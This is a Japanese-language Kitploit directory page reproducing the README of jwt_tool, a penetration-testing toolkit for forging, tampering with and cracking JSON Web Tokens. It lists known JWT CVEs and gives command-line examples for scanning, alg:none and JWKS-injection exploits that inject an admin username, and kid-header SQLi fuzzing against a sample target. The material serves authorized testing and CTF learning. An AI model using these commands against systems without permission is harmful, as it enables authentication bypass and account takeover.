Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
jwt_tool — :snake: JSON Web Tokenをテスト、調整、クラッキングするためのツールキット | Kitploit
ツール/GitHubGitHub/ticarpi/jwt_tool
脆弱性スキャナーウェブセキュリティファジング暗号化CTFペネトレーションテスト
GitHubticarpi/jwt_tool

jwt_tool

🐍 JSON Web Tokenをテスト、調整、クラッキングするためのツールキット

リポジトリを見る
6.7k8121年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

The JSON Web Token Toolkit v2

jwt_tool.py は、JWT (JSON Web Tokens) の検証、偽造、スキャン、改ざんを行うためのツールキットです。

jwt_tool version python version

logo

主な機能は次のとおりです:

  • トークンの有効性の確認
  • 既知のエクスプロイトのテスト:
    • (CVE-2015-2951) alg=none 署名バイパスの脆弱性
    • (CVE-2016-10555) RS/HS256 公開鍵不一致の脆弱性
    • (CVE-2018-0114) Key injection 脆弱性
    • (CVE-2019-20933/CVE-2020-28637) Blank password 脆弱性
    • (CVE-2020-28042) Null signature 脆弱性
    • (CVE-2022-21449) Psychic Signature ECDSA 脆弱性
  • 誤構成や既知の弱点のスキャン
  • 予期しない動作を引き起こすクレーム値のファジング
  • シークレット/キーファイル/公開鍵/JWKS キーの有効性のテスト
  • 高速 辞書攻撃 による 弱いキー の特定
  • 新しいトークンのヘッダーとペイロードの内容を作成し、キー または別の攻撃方法で新しい署名を生成
  • タイムスタンプの改ざん
  • RSA および ECDSA キーの生成と (JWKS ファイルからの) 再構築
  • すべての攻撃に対するレート制限
  • ...その他多数!

対象読者

このツールは、使用中のトークンの強度と既知の攻撃に対する脆弱性を確認する必要があるペンテスター向けに作成されています。一部の JWT ライブラリに存在する潜在的な弱点をより詳しく調査するために、さまざまな改ざん・署名・検証オプションが用意されています。
現在、CTF が JWT を重視しているようであるため、CTF チャレンジャーにも効果的です。
また、プロジェクトで JWT を使用しているが、偽造トークンを使用したときの安定性や既知の脆弱性をテストしたい開発者にも役立つでしょう。


必要条件

このツールは、一般的なライブラリを使用して Python 3 (バージョン 3.6+) でネイティブに作成されていますが、さまざまな暗号化機能 (および全体的な見やすさ・読みやすさ) には、いくつかの一般的な Python ライブラリのインストールが必要です。
(必要とする方のために、このツールの古い Python 2.x バージョンが legacy ブランチで利用可能ですが、これはもはやサポートまたは更新されません)


インストール

Docker

jwt_tool の推奨される使用方法は、公式 Dockerhub でホストされている jwt_tool Docker イメージ です。
これを実行するための基本コマンドは次のとおりです。
jwt_tool を実行するための基本コマンド:
docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool

上記のコマンドを使用すると、通常どおり他の引数を追加できます。
現在の作業ディレクトリ内のローカルファイルは Docker コンテナの /tmp ディレクトリにマッピングされるため、引数内ではその絶対パスを使用してファイルを利用できます。
例:
/tmp/localfile.txt

手動インストール

インストールは、jwt_tool.py ファイルをダウンロードするだけです (git clone でリポジトリをクローンしてもかまいません)。
($PATH に追加してどこからでも呼び出したい場合は、ファイルにも chmod を実行してください。)

$ git clone https://github.com/ticarpi/jwt_tool
$ python3 -m pip install -r requirements.txt

初回実行時に、ツールは設定ファイル、いくつかのユーティリティファイル、ログファイル、およびさまざまな形式の公開鍵と秘密鍵のセットを生成します。

カスタム設定

  • スキャンオプションを最大限に活用するには、カスタム生成された JWKS ファイルを URL でリモートアクセスできる場所にコピーすることを強くお勧めします。このアドレスは、jwtconf.ini 内に "jwkloc" 値として保存する必要があります。
  • DNS ルックアップや HTTP リクエストなどの外部サービスとのやり取りをキャプチャするには、Burp Collaborator (または RequestBin などの代替ツール) 用の一意のアドレスを設定ファイルに "httplistener" 値として入力します。
    設定ファイル内の他のオプションも確認して、エクスペリエンスをカスタマイズしてください。

Windows での色のバグ

Windows の cmd/Powershell で色が正しく表示されない問題を修正するには、jwt_tool.py 内の次の2行のコメントを解除します (各行の先頭から "# " を削除します)。
また、colorama のインストールが必要です: python3 -m pip install colorama

root@kitploit:~
# import colorama
# colorama.init()

使用方法

最初の引数は JWT 自体である必要があります (ヘッダーまたは Cookie 値で提供する場合を除く)。追加の引数なしで実行すると、レビューのためにデコードされたトークン値が表示されます。
$ python3 jwt_tool.py <JWT>
または Docker 基本コマンド:
$ docker run -it --network "host" --rm -v "${PWD}:/tmp" -v "${HOME}/.jwt_tool:/root/.jwt_tool" ticarpi/jwt_tool

ツールキットはトークンを検証し、ヘッダーとペイロードの値を一覧表示します。

追加の引数

さまざまな追加引数を使用すると、対応する機能に直接移動し、テストですぐに使用できるトークンを返します。
たとえば、既存のトークンを改ざんするには、次のコマンドを実行します:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -T

多くのオプションでは、オプションを設定するための追加値が必要です。
たとえば、特定のタイプのエクスプロイトを実行するには、eXploit (-X) オプションを選択して脆弱性を選択する必要があります (ここでは alg:none エクスプロイトに "a" を使用しています):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -X a

追加パラメータ

トークンの検証などの一部のオプションでは、追加のパラメータ/ファイルの指定が必要です (ここでは PEM 形式の公開鍵を指定しています):
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw -V -pk public.pem

Web アプリケーションへのトークンの送信

すべてのモードで、トークンをアプリケーションに直接送信できるようになりました。
指定する必要があるもの:

  • ターゲット URL (-t)
  • ターゲット URL の代わりに、HTTP リクエストをファイルに保存し、-r でそのファイルを参照することもできます。これによりヘッダー、Cookie、POST データが自動的に設定されるため、この方法が推奨されます
  • アプリケーションが必要とするリクエストヘッダー (-rh) またはリクエスト Cookie (-rc) (少なくとも1つにトークンが含まれている必要があります)
  • (任意) POST データ (リクエストが POST の場合)
  • (任意) モードや改ざん/インジェクションオプションなど、追加の jwt_tool オプション
  • (任意) canary 値 (-cv) - トークンの正常な使用時に表示されることを期待するテキスト値 (例: "Welcome, ticarpi")
    リクエストの例は次のようになります (強制エラー用のスキャンモードを使用):
    $ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -rh "Origin: null" -cv "Welcome" -M er

リクエストからのさまざまな応答が表示されます:

  • 応答コード
  • 応答サイズ
  • 一意のリクエスト追跡 ID (ログ記録用)
  • 使用されたモード/オプション

一般的なワークフロー

JWT 実装の基本的な評価を簡単に説明します。これらのオプションでうまくいかない場合は、他のモードやオプションを詳しく調べて、新しい脆弱性 (またはゼロデイ!) を探してください。

偵察:

アプリケーションで期待されるクレーム/値を把握するためにトークン値を読み取ります:
$ python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw

スキャン:

提供されたトークンをアプリケーションに直接使用して Playbook Scan を実行し、一般的な誤構成を探します:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -M pb

悪用:

成功する脆弱性が見つかった場合は、関連するクレームを変更して悪用を試みます (ここでは Inject JWKS エクスプロイトを使用し、新しいユーザー名を注入しています):
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin

ファジング:

予期しない値やクレームをテストして予期しないアプリの動作を特定するか、プログラミングロジックやトークン処理に対する攻撃を実行して、さらに深く調査します:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -I -hc kid -hv custom_sqli_vectors.txt

レビュー:

ログを照会してリクエストと : に関する詳細を読み、成功した悪用をレビューします:
$ python3 jwt_tool.py -t https://www.ticarpi.com/ -rc "jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.bsSwqj2c2uI9n7-ajmi3ixVGhPUiY7jO9SUn9dm15Po;anothercookie=test" -X i -I -pc name -pv admin


ヘルプ

オプションの一覧を表示するには、usage 関数を呼び出します:
トークンの検証などの一部のオプションでは、追加のパラメータ/ファイルの指定が必要です:
$ python3 jwt_tool.py -h

より詳細なユーザーガイドは wiki ページ にあります。


JWT Attack Playbook - 新しい wiki コンテンツ!

playbook_logo

JWT とは何か、何をするか、そして脆弱性、一般的な弱点、意図しないコーディングエラーを徹底的にテストするための完全なワークフローについて詳しくは、JWT Attack Playbook をご覧ください。


ヒント

Burp Search で JWT を見つけるための正規表現
('Case sensitive' と 'Regex' オプションがオンになっていることを確認してください)
[= ]eyJ[A-Za-z0-9_-]*\.[A-Za-z0-9._-]* - URL セーフな JWT バージョン
[= ]eyJ[A-Za-z0-9_\/+-]*\.[A-Za-z0-9._\/+-]* - すべての JWT バージョン (誤検知の可能性が高くなります)


関連資料

  • JWT Attack Playbook (https://github.com/ticarpi/jwt_tool/wiki) - 徹底的な JWT テスト方法論について

  • JWT の優れた入門書 - https://jwt.io/introduction/

  • このツールの最初のインスピレーションの多くは、Tim McLean 氏が発見した脆弱性に由来しています。
    彼の JWT の弱点に関するブログはこちら: https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/

  • JWT の脆弱性をテストするための演習は、Pentesterlab (https://www.pentesterlab.com) で多数提供されています。Web アプリのペンテストに興味があるなら、PRO サブスクリプションを強くお勧めします。

    注意: このツールキットは、正しく使用すれば Pentesterlab の JWT 演習のほとんどを数秒で解決できますが、構造と弱点を自分で考えながら、これらの演習を自分でやり遂げることを強くお勧めします。結局のところ、学ぶことがすべてです...

ツールをダウンロード